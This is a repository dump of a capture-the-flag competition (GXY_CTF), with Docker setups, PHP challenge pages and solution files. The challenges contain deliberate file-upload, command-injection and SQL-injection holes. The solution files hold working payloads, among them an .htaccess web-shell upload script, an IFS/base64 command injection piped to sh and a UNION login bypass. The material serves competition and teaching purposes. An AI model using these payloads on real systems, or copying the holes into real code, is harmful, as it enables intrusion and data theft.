├── Web
├── babyupload
│ ├── exp
│ │ ├── .htaccess
│ │ ├── exp.jpg
│ │ └── exp.py
│ └── dockerfile
│ │ ├── clean.sh
│ │ ├── start.sh
│ │ ├── Dockerfile
│ │ ├── php.ini
│ │ ├── html
│ │ └── index.php
│ │ └── apache2.conf
├── BabySqli
│ ├── dockerfile
│ │ ├── files
│ │ │ ├── html
│ │ │ │ ├── flag.php
│ │ │ │ ├── config.php
│ │ │ │ ├── index.php
│ │ │ │ └── search.php
│ │ │ ├── restart.sh
│ │ │ ├── sources.list
│ │ │ └── db.sql
│ │ ├── start.sh
│ │ └── Dockerfile
│ └── exp
│ │ └── exp.md
├── no_taowa!
│ ├── exp
│ │ └── exp.md
│ └── dockerfile
│ │ ├── Dockerfile
│ │ └── php.ini
├── ping_ping_ping
│ ├── dockerfile
│ │ ├── html
│ │ │ ├── flag.php
│ │ │ └── index.php
│ │ └── Dockerfile
│ └── exp
│ │ └── exp.md
└── strongest_mind
│ ├── dockerfile
│ ├── files
│ │ ├── html
│ │ │ ├── flag.php
│ │ │ ├── config.php
│ │ │ └── index.php
│ │ ├── restart.sh
│ │ ├── sources.list
│ │ └── db.sql
│ ├── start.sh
│ └── Dockerfile
│ └── exp
│ └── exp.py
└── Misc
├── SXMgdGhpcyBiYXNlPw==
├── exp
│ ├── exp.md
│ └── b64solve.py
└── MISC附件
│ └── SXMgdGhpcyBiYXNlPw==.txt
├── fo
├── exp
│ └── exp.md
└── MISC附件
│ └── 佛系青年.zip
└── gakki
├── exp
├── exp.md
└── count.py
└── MISC附件
└── c618403d8a6b4d6493d3997fd272d778.rar
/Web/babyupload/exp/.htaccess:
--------------------------------------------------------------------------------
1 | SetHandler application/x-httpd-php
--------------------------------------------------------------------------------
/Misc/SXMgdGhpcyBiYXNlPw==/exp/exp.md:
--------------------------------------------------------------------------------
1 | 直接使用b64solve.py提取出flag即可
2 |
3 |
--------------------------------------------------------------------------------
/Web/BabySqli/dockerfile/files/html/flag.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Web/babyupload/exp/exp.jpg:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Web/no_taowa!/exp/exp.md:
--------------------------------------------------------------------------------
1 | ?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
--------------------------------------------------------------------------------
/Misc/fo/exp/exp.md:
--------------------------------------------------------------------------------
1 | zip伪加密 绕过
2 |
3 | 与佛论禅 解码 http://keyfc.net/bbs/tools/tudoucode.aspx
4 |
5 |
--------------------------------------------------------------------------------
/Misc/fo/MISC附件/佛系青年.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/imagin-sch/GXY_CTF/HEAD/Misc/fo/MISC附件/佛系青年.zip
--------------------------------------------------------------------------------
/Misc/gakki/exp/exp.md:
--------------------------------------------------------------------------------
1 | 用到的网站和工具
2 |
3 | 字频统计
4 |
5 | http://www.aihanyu.org/cncorpus/CpsTongji.aspx
--------------------------------------------------------------------------------
/Web/BabySqli/exp/exp.md:
--------------------------------------------------------------------------------
1 | ' union select 1,'admin', ' 202cb962ac59075b964b07152d234b70 '#
2 |
3 | 123
--------------------------------------------------------------------------------
/Web/ping_ping_ping/dockerfile/html/flag.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Web/strongest_mind/dockerfile/files/html/flag.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/Web/strongest_mind/dockerfile/files/restart.sh:
--------------------------------------------------------------------------------
1 | chown -R mysql:mysql /var/lib/mysql
2 | service mysql restart
--------------------------------------------------------------------------------
/Web/babyupload/dockerfile/clean.sh:
--------------------------------------------------------------------------------
1 | rm -rf /var/www/html/upload/*
2 | sleep 3s
3 | nohup /bin/bash /clean.sh &
4 |
--------------------------------------------------------------------------------
/Web/BabySqli/dockerfile/files/restart.sh:
--------------------------------------------------------------------------------
1 | chown -R mysql:mysql /var/lib/mysql
2 | cd /var/www/
3 | service mysql restart
--------------------------------------------------------------------------------
/Web/babyupload/dockerfile/start.sh:
--------------------------------------------------------------------------------
1 | /clean.sh
2 | echo $FLAG > /flag
3 | export FLAG=not_flag
4 | FLAG=null
5 | apache2-foreground
6 |
7 |
8 |
--------------------------------------------------------------------------------
/Misc/gakki/MISC附件/c618403d8a6b4d6493d3997fd272d778.rar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/imagin-sch/GXY_CTF/HEAD/Misc/gakki/MISC附件/c618403d8a6b4d6493d3997fd272d778.rar
--------------------------------------------------------------------------------
/Web/ping_ping_ping/exp/exp.md:
--------------------------------------------------------------------------------
1 | 127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh
2 |
3 | [http://xxx/?ip=127.0.0.1%3Becho%24IFS%249Y2F0IGZsYWcucGhw%7Cbase64%24IFS%249-d%7Csh]
4 |
5 |
--------------------------------------------------------------------------------
/Web/BabySqli/dockerfile/start.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | service apache2 start
4 | usermod -d /var/lib/mysql/mysql
5 | ln -s /var/lib/mysql/mysql.sock
6 | chown -R mysql:mysql /var/lib/mysql
7 | service mysql restart
8 | tail -F /etc/passwd
9 |
--------------------------------------------------------------------------------
/Web/strongest_mind/dockerfile/start.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | service apache2 start
4 | usermod -d /var/lib/mysql/mysql
5 | ln -s /var/lib/mysql/mysql.sock
6 | chown -R mysql:mysql /var/lib/mysql
7 | service mysql restart
8 | tail -F /etc/passwd
9 |
--------------------------------------------------------------------------------
/Web/BabySqli/dockerfile/files/sources.list:
--------------------------------------------------------------------------------
1 | deb http://mirrors.163.com/debian/ jessie main non-free contrib
2 | deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
3 | deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
--------------------------------------------------------------------------------
/Web/ping_ping_ping/dockerfile/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM orsolin/docker-php-5.3-apache
2 |
3 | LABEL Author="imagin"
4 |
5 | COPY ./html/ /var/www/html/
6 | RUN chown -R root:root /var/www/html && \
7 | chmod -R 755 /var/www/html
8 |
9 | CMD sh -c "apache2-foreground"
10 |
--------------------------------------------------------------------------------
/Web/strongest_mind/dockerfile/files/sources.list:
--------------------------------------------------------------------------------
1 | deb http://mirrors.163.com/debian/ jessie main non-free contrib
2 | deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
3 | deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
--------------------------------------------------------------------------------
/Web/BabySqli/dockerfile/files/html/config.php:
--------------------------------------------------------------------------------
1 |
2 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/Web/strongest_mind/dockerfile/files/html/config.php:
--------------------------------------------------------------------------------
1 |
2 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/Web/no_taowa!/dockerfile/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM sakadonohito/php5.6.23-apache:latest
2 |
3 | LABEL Author="imagin"
4 |
5 | COPY ./html/ /var/www/html/
6 | COPY ./php.ini /var/www/php.ini
7 |
8 | RUN chown -R root:root /var/www/html && \
9 | chmod -R 755 /var/www/html && \
10 | mv /var/www/php.ini /usr/local/etc/php/php.ini && \
11 | service apache2 restart
12 |
13 | CMD sh -c "apache2-foreground"
14 |
--------------------------------------------------------------------------------
/Web/BabySqli/dockerfile/files/html/index.php:
--------------------------------------------------------------------------------
1 |
2 |
Do you know who am I?
3 |
4 |
11 |
--------------------------------------------------------------------------------
/Web/strongest_mind/exp/exp.py:
--------------------------------------------------------------------------------
1 | from requests import *
2 | import re
3 |
4 |
5 | s = session()
6 | a = s.get("http://172.21.4.12:10044/index.php")
7 | pattern = re.findall(r'\d+.[+-].\d+', a.text)
8 | c = eval(pattern[0])
9 | a = s.post("http://172.21.4.12:10044/index.php", data = {"answer" : c})
10 | for i in range(1000):
11 | pattern = re.findall(r'\d+.[+-].\d+', a.text)
12 | c = eval(pattern[0])
13 | print(c)
14 | a = s.post("http://172.21.4.12:10044/index.php", data = {"answer" : c})
15 | print(a.text)
--------------------------------------------------------------------------------
/Web/babyupload/dockerfile/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM sakadonohito/php5.6.23-apache
2 |
3 | LABEL Author="imagin"
4 |
5 | COPY ./html/ /var/www/html/
6 | COPY ./apache2.conf /etc/apache2/apache2.conf
7 | COPY ./php.ini /usr/local/etc/php/php.ini
8 |
9 | RUN mkdir /var/www/html/upload/ && \
10 | chmod -R 755 /var/www/html/ && \
11 | chmod -R 777 /var/www/html/upload/ && \
12 | chown -R root:root /var/www/html
13 |
14 | ENV FLAG=GXY{WeII_done,you_got_my_she11}
15 |
16 | CMD sh -c "echo $FLAG > /flag && export FLAG=not_flag && FLAG=null && apache2-foreground"
17 |
--------------------------------------------------------------------------------
/Web/babyupload/dockerfile/php.ini:
--------------------------------------------------------------------------------
1 | default_charset =
2 | date.timezone = America/Sao_Paulo
3 | disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld
4 |
--------------------------------------------------------------------------------
/Web/no_taowa!/dockerfile/php.ini:
--------------------------------------------------------------------------------
1 | default_charset =
2 | date.timezone = America/Sao_Paulo
3 | disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld
4 |
--------------------------------------------------------------------------------
/Web/babyupload/exp/exp.py:
--------------------------------------------------------------------------------
1 | import requests
2 | url = "http://172.21.4.12:10011/"
3 | session = requests.session()
4 | htaccess = {'uploaded': ('.htaccess', "SetHandler application/x-httpd-php", 'image/jpeg')}
5 | res_hta = session.post(url, files=htaccess)
6 |
7 | files = {'uploaded': ('123.jpg', "", 'image/jpeg')}
8 | res_jpg = session.post(url, files=files)
9 |
10 | res_shell = session.post(url + res_jpg.text[-69:-22], data = {'a':'echo file_get_contents(\'/flag\');'})
11 |
12 | print(res_shell.text)
--------------------------------------------------------------------------------
/Misc/gakki/exp/count.py:
--------------------------------------------------------------------------------
1 | alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+-={}[]"
2 | f = open("flag.txt", "r")
3 | data = f.read()
4 | result = {d:0 for d in alphabet}
5 |
6 | def sort_by_value(d):
7 | items = d.items()
8 | backitems = [[v[1],v[0]] for v in items]
9 | backitems.sort(reverse=True)
10 | return [ backitems[i][1] for i in range(0,len(backitems))]
11 |
12 | # while data:
13 | for d in data:
14 | for alpha in alphabet:
15 | if d == alpha:
16 | result[alpha] = result[alpha] + 1
17 | # data = f.readline()
18 | print(sort_by_value(result))
19 |
20 |
21 |
--------------------------------------------------------------------------------
/Misc/SXMgdGhpcyBiYXNlPw==/exp/b64solve.py:
--------------------------------------------------------------------------------
1 | from base64 import *
2 | file = open('flag.txt','r')
3 | alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
4 | def inttobin(shu,n):
5 | tmp = bin(shu).replace('0b','')
6 | while len(tmp)> /tmp/mysql-passwd && \
12 | debconf-set-selections /tmp/mysql-passwd && apt install mysql-server -y && rm -rf /tmp/mysql-passwd && \
13 | mysql_install_db --user=mysql --datadir=/var/lib/mysql && \
14 | sh -c 'mysqld_safe &' && \
15 | sleep 5s && \
16 | chown -R root:root /var/www/html && \
17 | mysql -e "source /tmp/files/db.sql;" -uroot -proot && \
18 | mysql -u root -proot -e "set global read_only=1;" && \
19 | mysql -u root -proot -e "create user '123'@'localhost' identified by '123';" && \
20 | mysql -u root -proot -e "grant select on web_sqli.* to '123'@'localhost';" && \
21 | chmod 777 /tmp/files/restart.sh && \
22 | chmod 755 -R /var/www/html/
23 |
--------------------------------------------------------------------------------
/Web/ping_ping_ping/dockerfile/html/index.php:
--------------------------------------------------------------------------------
1 |
2 | I can ping you!
3 |
4 | 听说php可以执行系统函数?我来康康
5 |
9 |
10 | |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
14 | print_r($match);
15 | print($ip);
16 | echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
17 | die("fxck your symbol!");
18 | }
19 | else if(preg_match("/ /", $ip)){
20 | die("fxck your space!");
21 | }
22 | else if(preg_match("/bash/", $ip)){
23 | die("fxck your bash!");
24 | }
25 | else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
26 | die("fxck your flag!");
27 | }
28 | $a = shell_exec("ping -c 4 ".$ip);
29 | echo "";
30 | print_r($a);
31 | }
32 |
33 | ?>
34 |
35 |
36 |
37 |
38 |
39 |
--------------------------------------------------------------------------------
/Web/strongest_mind/dockerfile/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM orsolin/docker-php-5.3-apache
2 |
3 | LABEL Author="imagin"
4 |
5 | COPY ./files/ /tmp/files/
6 |
7 | RUN mv -f /tmp/files/sources.list /etc/apt/sources.list && \
8 | rm -rf /var/www/html/* && \
9 | mv -f /tmp/files/html/ /var/www/ && \
10 | apt update && \
11 | echo "debconf mysql-server/root_password password root\ndebconf mysql-server/root_password_again password root" >> /tmp/mysql-passwd && \
12 | debconf-set-selections /tmp/mysql-passwd && apt install mysql-server -y && rm -rf /tmp/mysql-passwd && \
13 | mysql_install_db --user=mysql --datadir=/var/lib/mysql && \
14 | sh -c 'mysqld_safe &' && \
15 | sleep 5s && \
16 | chown -R root:root /var/www/html && \
17 | mysql -e "source /tmp/files/db.sql;" -uroot -proot && \
18 | mysql -u root -proot -e "set global read_only=1;" && \
19 | mysql -u root -proot -e "create user '123'@'localhost' identified by '123';" && \
20 | mysql -u root -proot -e "grant select on mind.* to '123'@'localhost';" && \
21 | mysql -u root -proot -e "grant update on mind.* to '123'@'localhost';" && \
22 | mysql -u root -proot -e "grant insert on mind.* to '123'@'localhost';" && \
23 | chmod 777 /tmp/files/restart.sh && \
24 | chmod 755 -R /var/www/html/
--------------------------------------------------------------------------------
/Web/strongest_mind/dockerfile/files/db.sql:
--------------------------------------------------------------------------------
1 | -- phpMyAdmin SQL Dump
2 | -- version 4.6.4
3 | -- https://www.phpmyadmin.net/
4 | --
5 | -- Host: 127.0.0.1
6 | -- Generation Time: 2019-12-06 12:45:28
7 | -- 服务器版本: 5.7.14
8 | -- PHP Version: 5.6.25
9 |
10 | CREATE DATABASE mind;
11 |
12 | use mind;
13 |
14 | SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
15 | SET time_zone = "+00:00";
16 |
17 |
18 | /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
19 | /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
20 | /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
21 | /*!40101 SET NAMES utf8mb4 */;
22 |
23 | --
24 | -- Database: `web6_strongesmind`
25 | --
26 |
27 | -- --------------------------------------------------------
28 |
29 | --
30 | -- 表的结构 `user`
31 | --
32 |
33 | CREATE TABLE `user` (
34 | `token` varchar(50) NOT NULL,
35 | `count` int(11) NOT NULL,
36 | `result` int(11) NOT NULL
37 | ) ENGINE=MyISAM DEFAULT CHARSET=latin1;
38 |
39 | --
40 | -- Indexes for dumped tables
41 | --
42 |
43 | --
44 | -- Indexes for table `user`
45 | --
46 | ALTER TABLE `user`
47 | ADD PRIMARY KEY (`token`);
48 |
49 | /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
50 | /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
51 | /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
52 |
--------------------------------------------------------------------------------
/Web/BabySqli/dockerfile/files/html/search.php:
--------------------------------------------------------------------------------
1 |
2 |
3 | Do you know who am I?
4 | ';
43 | $arr = mysqli_fetch_row($result);
44 | // print_r($arr);
45 | if($arr[1] == "admin"){
46 | if(md5($password) == $arr[2]){
47 | echo $flag;
48 | }
49 | else{
50 | die("wrong pass!");
51 | }
52 | }
53 | else{
54 | die("wrong user!");
55 | }
56 | }
57 | }
58 |
59 | ?>
60 |
61 |
--------------------------------------------------------------------------------
/Web/BabySqli/dockerfile/files/db.sql:
--------------------------------------------------------------------------------
1 | -- phpMyAdmin SQL Dump
2 | -- version 4.6.4
3 | -- https://www.phpmyadmin.net/
4 | --
5 | -- Host: 127.0.0.1
6 | -- Generation Time: 2019-12-03 11:43:42
7 | -- 服务器版本: 5.7.14
8 | -- PHP Version: 5.6.25
9 | CREATE DATABASE web_sqli;
10 | use web_sqli;
11 | SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
12 | SET time_zone = "+00:00";
13 |
14 |
15 | /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
16 | /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
17 | /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
18 | /*!40101 SET NAMES utf8mb4 */;
19 |
20 | --
21 | -- Database: `web_sqli`
22 | --
23 |
24 | -- --------------------------------------------------------
25 |
26 | --
27 | -- 表的结构 `user`
28 | --
29 |
30 | CREATE TABLE `user` (
31 | `id` int(11) NOT NULL,
32 | `username` varchar(20) CHARACTER SET gbk NOT NULL,
33 | `passwd` varchar(32) CHARACTER SET gbk NOT NULL
34 | ) ENGINE=MyISAM DEFAULT CHARSET=latin1;
35 |
36 | --
37 | -- 转存表中的数据 `user`
38 | --
39 |
40 | INSERT INTO `user` (`id`, `username`, `passwd`) VALUES
41 | (1, 'admin', 'cdc9c819c7f8be2628d4180669009d28');
42 |
43 | --
44 | -- Indexes for dumped tables
45 | --
46 |
47 | --
48 | -- Indexes for table `user`
49 | --
50 | ALTER TABLE `user`
51 | ADD PRIMARY KEY (`id`);
52 |
53 | --
54 | -- 在导出的表使用AUTO_INCREMENT
55 | --
56 |
57 | --
58 | -- 使用表AUTO_INCREMENT `user`
59 | --
60 | ALTER TABLE `user`
61 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;
62 | /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
63 | /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
64 | /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
65 |
--------------------------------------------------------------------------------
/Web/babyupload/dockerfile/html/index.php:
--------------------------------------------------------------------------------
1 |
4 | Upload
5 | ";
9 | error_reporting(0);
10 | if(!isset($_SESSION['user'])){
11 | $_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
12 | }
13 | if(isset($_FILES['uploaded'])) {
14 | $target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
15 | $t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
16 | $uploaded_name = $_FILES['uploaded']['name'];
17 | $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
18 | $uploaded_size = $_FILES['uploaded']['size'];
19 | $uploaded_tmp = $_FILES['uploaded']['tmp_name'];
20 |
21 | if(preg_match("/ph/i", strtolower($uploaded_ext))){
22 | die("后缀名不能有ph!");
23 | }
24 | else{
25 | if ((($_FILES["uploaded"]["type"] == "
26 | ") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")) && ($_FILES["uploaded"]["size"] < 2048)){
27 | $content = file_get_contents($uploaded_tmp);
28 | if(preg_match("/\<\?/i", $content)){
29 | die("诶,别蒙我啊,这标志明显还是php啊");
30 | }
31 | else{
32 | mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
33 | move_uploaded_file($uploaded_tmp, $t_path);
34 | echo "{$t_path} succesfully uploaded!";
35 | }
36 | }
37 | else{
38 | die("上传类型也太露骨了吧!");
39 | }
40 | }
41 | }
42 | ?>
43 |
--------------------------------------------------------------------------------
/Web/strongest_mind/dockerfile/files/html/index.php:
--------------------------------------------------------------------------------
1 |
2 | 莫得感情的计算器
3 | ";
6 | echo "";
7 | include "config.php";
8 | include "flag.php";
9 | if(!isset($_SESSION['login'])){
10 | $_SESSION['login'] = "GXY" . (string)time() . (string)rand(100, 1000);
11 | }
12 |
13 | $r_r = mysqli_query($con, "select count, result from user where token = '". $_SESSION['login'] ."' ");
14 | $r_res = mysqli_fetch_row($r_r);
15 | $count = $r_res[0];
16 |
17 | $a = rand(10000000,100000000);
18 | $b = rand(10000000,100000000);
19 | $opt = rand(0,1);
20 | if($opt == 0){
21 | $o = "+";
22 | }
23 | else{
24 | $o = "-";
25 | }
26 | $result = $opt == 0 ? $a + $b : $a - $b;
27 |
28 | if(isset($_POST['answer'])){
29 | if($r_res[1] == $_POST['answer']){
30 | $count = $count + 1;
31 | echo "
bingo!
";
32 | mysqli_query($con, "update user set count = $count where token = '". $_SESSION['login'] ."' ");
33 | mysqli_query($con, "update user set result = $result where token = '". $_SESSION['login'] ."' ");
34 |
35 | }
36 | else{
37 | echo "
算错了呀,重新来吧!
";
38 | $count = 0;
39 | mysqli_query($con, "update user set count = 0 where token = '". $_SESSION['login'] ."' ");
40 | mysqli_query($con, "update user set result = $result where token = '". $_SESSION['login'] ."' ");
41 | }
42 | }
43 |
44 | $c = isset($count) ? $count : 0;
45 | echo "
第 " . $c . " 次成功啦
第一千次给flag呦
";
46 |
47 | echo "
".$a." $o ".$b."
";
48 | echo "";
49 |
50 |
51 |
52 | // echo $result."
";
53 |
54 |
55 | if(!isset($r_res[1])){
56 | $sql = "insert into user values('". $_SESSION['login'] ."', 0, $result)";
57 | mysqli_query($con, $sql);
58 | $count = 0;
59 | }
60 | else{
61 | $count = $r_res[0];
62 | }
63 |
64 | if($count >= 1000){
65 | echo "
Congraduations! ".$flag;
66 | }
67 |
68 |
69 |
70 | ?>
71 |
72 |
--------------------------------------------------------------------------------
/Misc/SXMgdGhpcyBiYXNlPw==/MISC附件/SXMgdGhpcyBiYXNlPw==.txt:
--------------------------------------------------------------------------------
1 | Q2V0dGUgbnVpdCwK
2 | SW50ZW5hYmxlIGluc29tbmllLAp=
3 | TGEgZm9saWUgbWUgZ3VldHRlLAo=
4 | SmUgc3VpcyBjZSBxdWUgamUgZnVpcwp=
5 | SmUgc3ViaXMsCt==
6 | Q2V0dGUgY2Fjb3Bob25pZSwK
7 | UXVpIG1lIHNjaWUgbGEgdOmUmnRlLAp=
8 | QXNzb21tYW50ZSBoYXJtb25pZSwK
9 | RWxsZSBtZSBkaXQsCo==
10 | VHUgcGFpZXJhcyB0ZXMgZGVsaXRzLAp=
11 | UXVvaSBxdSdpbCBhZHZpZW5uZSwK
12 | T24gdHJh5Y2vbmUgc2VzIGNoYeWNr25lcywK
13 | U2VzIHBlaW5lcywK
14 | SmUgdm91ZSBtZXMgbnVpdHMsCm==
15 | QSBsJ2Fzc2FzeW1waG9uaWUsCl==
16 | QXV4IHJlcXVpZW1zLAr=
17 | VHVhbnQgcGFyIGRlcGl0LAq=
18 | Q2UgcXVlIGplIHNlbWUsCt==
19 | SmUgdm91ZSBtZXMgbnVpdHMsCp==
20 | QSBsJ2Fzc2FzeW1waG9uaWUsCp==
21 | RXQgYXV4IGJsYXNwaGVtZXMsCo==
22 | Sidhdm91ZSBqZSBtYXVkaXMsCl==
23 | VG91cyBjZXV4IHF1aSBzJ2FpbWVudCwK
24 | TCdlbm5lbWksCu==
25 | VGFwaSBkYW5zIG1vbiBlc3ByaXQsCp==
26 | RumUmnRlIG1lcyBkZWZhaXRlcywK
27 | U2FucyByZXBpdCBtZSBkZWZpZSwK
28 | SmUgcmVuaWUsCq==
29 | TGEgZmF0YWxlIGhlcmVzaWUsCh==
30 | UXVpIHJvbmdlIG1vbiDplJp0cmUsCo==
31 | SmUgdmV1eCByZW5h5Y2vdHJlLAp=
32 | UmVuYeWNr3RyZSwK
33 | SmUgdm91ZSBtZXMgbnVpdHMsCn==
34 | QSBsJ2Fzc2FzeW1waG9uaWUsCq==
35 | QXV4IHJlcXVpZW1zLAp=
36 | VHVhbnQgcGFyIGRlcGl0LAq=
37 | Q2UgcXVlIGplIHNlbWUsCo==
38 | SmUgdm91ZSBtZXMgbnVpdHMsCm==
39 | QSBsJ2Fzc2FzeW1waG9uaWUsCl==
40 | RXQgYXV4IGJsYXNwaGVtZXMsCm==
41 | Sidhdm91ZSBqZSBtYXVkaXMsCu==
42 | VG91cyBjZXV4IHF1aSBzJ2FpbWVudCwK
43 | UGxldXJlbnQgbGVzIHZpb2xvbnMgZGUgbWEgdmllLAp=
44 | TGEgdmlvbGVuY2UgZGUgbWVzIGVudmllcywK
45 | U2lwaG9ubmVlIHN5bXBob25pZSwK
46 | RGVjb25jZXJ0YW50IGNvbmNlcnRvLAq=
47 | SmUgam91ZSBzYW5zIHRvdWNoZXIgbGUgRG8sCo==
48 | TW9uIHRhbGVudCBzb25uZSBmYXV4LAp=
49 | SmUgbm9pZSBtb24gZW5udWksCo==
50 | RGFucyBsYSBtZWxvbWFuaWUsCl==
51 | SmUgdHVlIG1lcyBwaG9iaWVzLAq=
52 | RGFucyBsYSBkZXNoYXJtb25pZSwK
53 | SmUgdm91ZSBtZXMgbnVpdHMsCv==
54 | QSBsJ2Fzc2FzeW1waG9uaWUsCn==
55 | QXV4IHJlcXVpZW1zLAp=
56 | VHVhbnQgcGFyIGRlcGl0LAo=
57 | Q2UgcXVlIGplIHNlbWUsCm==
58 | SmUgdm91ZSBtZXMgbnVpdHMsCp==
59 | QSBsJ2Fzc2FzeW1waG9uaWUsCm==
60 | RXQgYXV4IGJsYXNwaGVtZXMsCu==
61 | Sidhdm91ZSBqZSBtYXVkaXMsCm==
62 | VG91cyBjZXV4IHF1aSBzJ2FpbWVudCwK
63 | SmUgdm91ZSBtZXMgbnVpdHMsCn==
64 | QSBsJ2Fzc2FzeW1waG9uaWUgKGwnYXNzYXN5bXBob25pZSksCn==
65 | Sidhdm91ZSBqZSBtYXVkaXMsCt==
66 | VG91cyBjZXV4IHF1aSBzJ2FpbWVudA==
--------------------------------------------------------------------------------
/Web/babyupload/dockerfile/apache2.conf:
--------------------------------------------------------------------------------
1 | # This is the main Apache server configuration file. It contains the
2 | # configuration directives that give the server its instructions.
3 | # See http://httpd.apache.org/docs/2.4/ for detailed information about
4 | # the directives and /usr/share/doc/apache2/README.Debian about Debian specific
5 | # hints.
6 | #
7 | #
8 | # Summary of how the Apache 2 configuration works in Debian:
9 | # The Apache 2 web server configuration in Debian is quite different to
10 | # upstream's suggested way to configure the web server. This is because Debian's
11 | # default Apache2 installation attempts to make adding and removing modules,
12 | # virtual hosts, and extra configuration directives as flexible as possible, in
13 | # order to make automating the changes and administering the server as easy as
14 | # possible.
15 |
16 | # It is split into several files forming the configuration hierarchy outlined
17 | # below, all located in the /etc/apache2/ directory:
18 | #
19 | # /etc/apache2/
20 | # |-- apache2.conf
21 | # | `-- ports.conf
22 | # |-- mods-enabled
23 | # | |-- *.load
24 | # | `-- *.conf
25 | # |-- conf-enabled
26 | # | `-- *.conf
27 | # `-- sites-enabled
28 | # `-- *.conf
29 | #
30 | #
31 | # * apache2.conf is the main configuration file (this file). It puts the pieces
32 | # together by including all remaining configuration files when starting up the
33 | # web server.
34 | #
35 | # * ports.conf is always included from the main configuration file. It is
36 | # supposed to determine listening ports for incoming connections which can be
37 | # customized anytime.
38 | #
39 | # * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
40 | # directories contain particular configuration snippets which manage modules,
41 | # global configuration fragments, or virtual host configurations,
42 | # respectively.
43 | #
44 | # They are activated by symlinking available configuration files from their
45 | # respective *-available/ counterparts. These should be managed by using our
46 | # helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See
47 | # their respective man pages for detailed information.
48 | #
49 | # * The binary is called apache2. Due to the use of environment variables, in
50 | # the default configuration, apache2 needs to be started/stopped with
51 | # /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not
52 | # work with the default configuration.
53 |
54 |
55 | # Global configuration
56 | #
57 |
58 | #
59 | # ServerRoot: The top of the directory tree under which the server's
60 | # configuration, error, and log files are kept.
61 | #
62 | # NOTE! If you intend to place this on an NFS (or otherwise network)
63 | # mounted filesystem then please read the Mutex documentation (available
64 | # at );
65 | # you will save yourself a lot of trouble.
66 | #
67 | # Do NOT add a slash at the end of the directory path.
68 | #
69 | #ServerRoot "/etc/apache2"
70 |
71 | #
72 | # The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
